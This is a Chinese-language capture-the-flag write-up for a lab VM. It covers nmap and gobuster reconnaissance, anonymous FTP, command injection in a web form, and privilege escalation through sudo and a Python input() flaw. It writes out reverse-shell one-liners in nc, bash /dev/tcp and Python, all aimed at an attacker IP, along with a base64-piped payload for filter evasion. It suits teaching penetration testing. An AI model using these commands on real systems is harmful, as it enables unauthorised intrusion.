靶機難度:中等
flag 數:2
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- ftp 匿名登錄下載文件
- echo 的 bash 和 python 反彈 shell
- nc 連接指定 ip 做題腳本
- sudo -l 查看當前用戶權限
- .pyc 文件反編譯
- input () 函數漏洞
- nc 傳輸文件
0x01 信息收集#
掃描靶機#
netdiscover的-r參數掃描192.168.1.0/16或者路由器管理界面查看有線連接的設備得到靶機ip
nmap掃描主機及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.7

21的ftp服務貌似可以匿名登錄,因為nmap直接給出了ftp連接上后的文件內容
那我們ftp連接一下,查看一下這三個文件的內容:
使用ftp ip命令連接ftp服務器,用戶名為匿名:anonymous,密碼直接回車即可登錄

使用mget *.*下載所有文件,會確認你是否要下載,直接回車就可以,也可以直接在ftp交互端cat查看:

得到的信息似乎是一個賬號和密碼,還有提示我們我們1337是一個遊戲
ssh的端口狀態為filtered就不折騰了
除此之外還有1337和7331兩個端口
1337端口的指紋信息寫著:
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift
猜測是CTF中常見的nc連接然後反彈數學題的操作,和我們上面得到的信息差不多
後面有時間的話會放一個腳本
7331掃描出的信息中包含http-server-header和http-title字段,猜測http服務開在這個端口
打開看一下,果然是:

掃描漏洞信息#
nmap掃描漏洞信息:
cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

沒有啥可以利用的
掃描路徑#
剛才掃描我們已經知道了web服務不在默認的80端口而是7331,所以掃描的時候也要記得改
gobuster 掃描路徑:
gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
dirbuster的字典可以通過下載dirbuster原包,然後把字典移入這個目錄:
wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/

掃描出兩個目錄/wish和/genie,訪問ip:7331/wish如下:

隨便輸入東西之後發現跳轉到ip:7331/genie?name=後面接上執行的命令,猜測此處存在系統命令注入
0x02 網站身份 getshell#
既然能執行系統命令,那就直接nc反彈一個shell吧
在msf中快速開啟監聽:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash

在ip:7331/wish中輸入nc -t -e /bin/bash 192.168.1.11 3333
結果跳轉到genie?name=Wrong+choice+of+words,說明屏蔽了關鍵詞
配合burpsuite來探測屏蔽的關鍵詞
- 測試 ls 得到網站根目錄的文件和目錄如下 (%0A 是回車的 URL 編碼)
- app.py
- app.pyc
- static/
- templates/

ls -lah也能正常運行,說明沒有屏蔽空格
whoami能正常的到結果www-data
uname -a知道了這是一台Ubuntu:

echo whoami可以執行,於是嘗試使用
bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
- bash -i 表示產生一個 bash 的交互環境
- 0>&1 將標準輸入域標準輸出內容相結合,然後重定向給前面的標準輸出內容
或者用python來反彈shell也可以:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
將上面的命令用base64加密然後在burp出輸入以下命令:
echo 加密的內容 | base64 -d | bash
注意,此處由於網頁上執行和burp執行有編碼的差異,建議如果在burp上執行的話再把空格和加號用URL編碼一下
測試後發現python能反彈shell

0x03 普通用戶 getshell#
拿到執行網站的用戶的shell之後第一步當然是查看當前目錄文件:

和我們前面用burp攔截得到的結果一樣,查看了/etc/passwd得到兩個用戶sam和nitish
但是他們用戶目錄下的文件沒有查看權限
於是回到網站根目錄來,查看一下app.py文件的內容:

大致內容是剛才攔截我們的函數代碼,除此之外還得到一個信息:
/home/nitish/.dev/creds.txt
查看這個文件:

得到了nitish賬戶的密碼p4ssw0rdStr3r0n9,登錄用戶之前記得要開啟標準的tty:
python -c 'import pty; pty.spawn("/bin/bash")'

在nitish用戶目錄下獲取到第一個flag
0x04 提權 root#
查看一下當前用戶能執行哪些sudo的命令:

當前的nithsh賬戶可以在不使用密碼的情況下執行sam用戶的genie腳本
看一下genie的用法:

有個-p參數寫能給我們提供shell,嘗試一下:
sudo -u sam genie -p "/bin/sh"

-e和-p參數都沒用,再用strings命令查看/usr/bin/genie的內容
最終知道了還有個參數-cmd,執行命令獲得sam的shell:
sudo -u sam /usr/bin/genie -cmd id

當前賬戶成功切換為sam,那麼再來看下sam能以sudo執行什麼命令:

sam可以執行lago腳本,來執行一下看一下:
第一個Be naughty:

沒啥亂用,第二個Guess the number:

百分之一的概率,似乎比1337端口好弄一點,而且python的input()的話是有漏洞的
第三個Read some damn files

可以讀文件,但是需要知道路徑,第四個Work:

也沒啥卵用,再試一下猜數字,不輸入數字,輸入其他的:

發現竟然在輸入num之後能查看/root目錄了,執行/root/proof.sh獲得root的flag

0x05 獲取shell原因解密#
我們這純属瞎貓碰死耗子,其實應該是找到python文件的編譯文件pyc
pyc是一種二進制文件,是由 Python 文件經過編譯後所生成的文件
然後反編譯出原來的.py文件,然後再找input漏洞的,常見的例子如下:

也就是沒有對輸入的字符進行檢測,直接按字符串處理,等於設定好的字符串即輸出結果
所以我們輸入num恰好成功說明Guess the number的函數代碼差不多是這麼寫的:
def guess_the_number():
input_number = input("Choose a number between 1 to 100:\nEnter your number:")
if num == input_number:
return True
我這裡嘗試反編譯一下看是不是,查看sam的用戶目錄:

找到一個.pyc文件,嘗試把它反編譯成.py文件
先把它傳輸到攻擊機,這裡使用nc
靶機開啟監聽端口並傳輸文件:nc -lvp 3456 < .pyc
目標機連接靶機並接收文件:nc 192.168.1.6 3456 > .pyc


等待幾秒之後直接在靶機端ctrl+c結束即可
隨後我們用uncompyle6反編譯.pyc,它是uncompyle2的繼承者
uncompyle2只專注於python2.7,雖然有時候準確率比uncompyle6高
但是大部分情況下還是uncompyle6準確率高,而且它已經幾乎不再維護了
uncompyle6支持幾乎你能見到的所有python版本,安裝如下:
proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install
就安裝完成了,反編譯我們的.pyc:
uncompyle6 .pyc -o exp.py

果然和我前面猜測的差不多
參考文章:
本文完。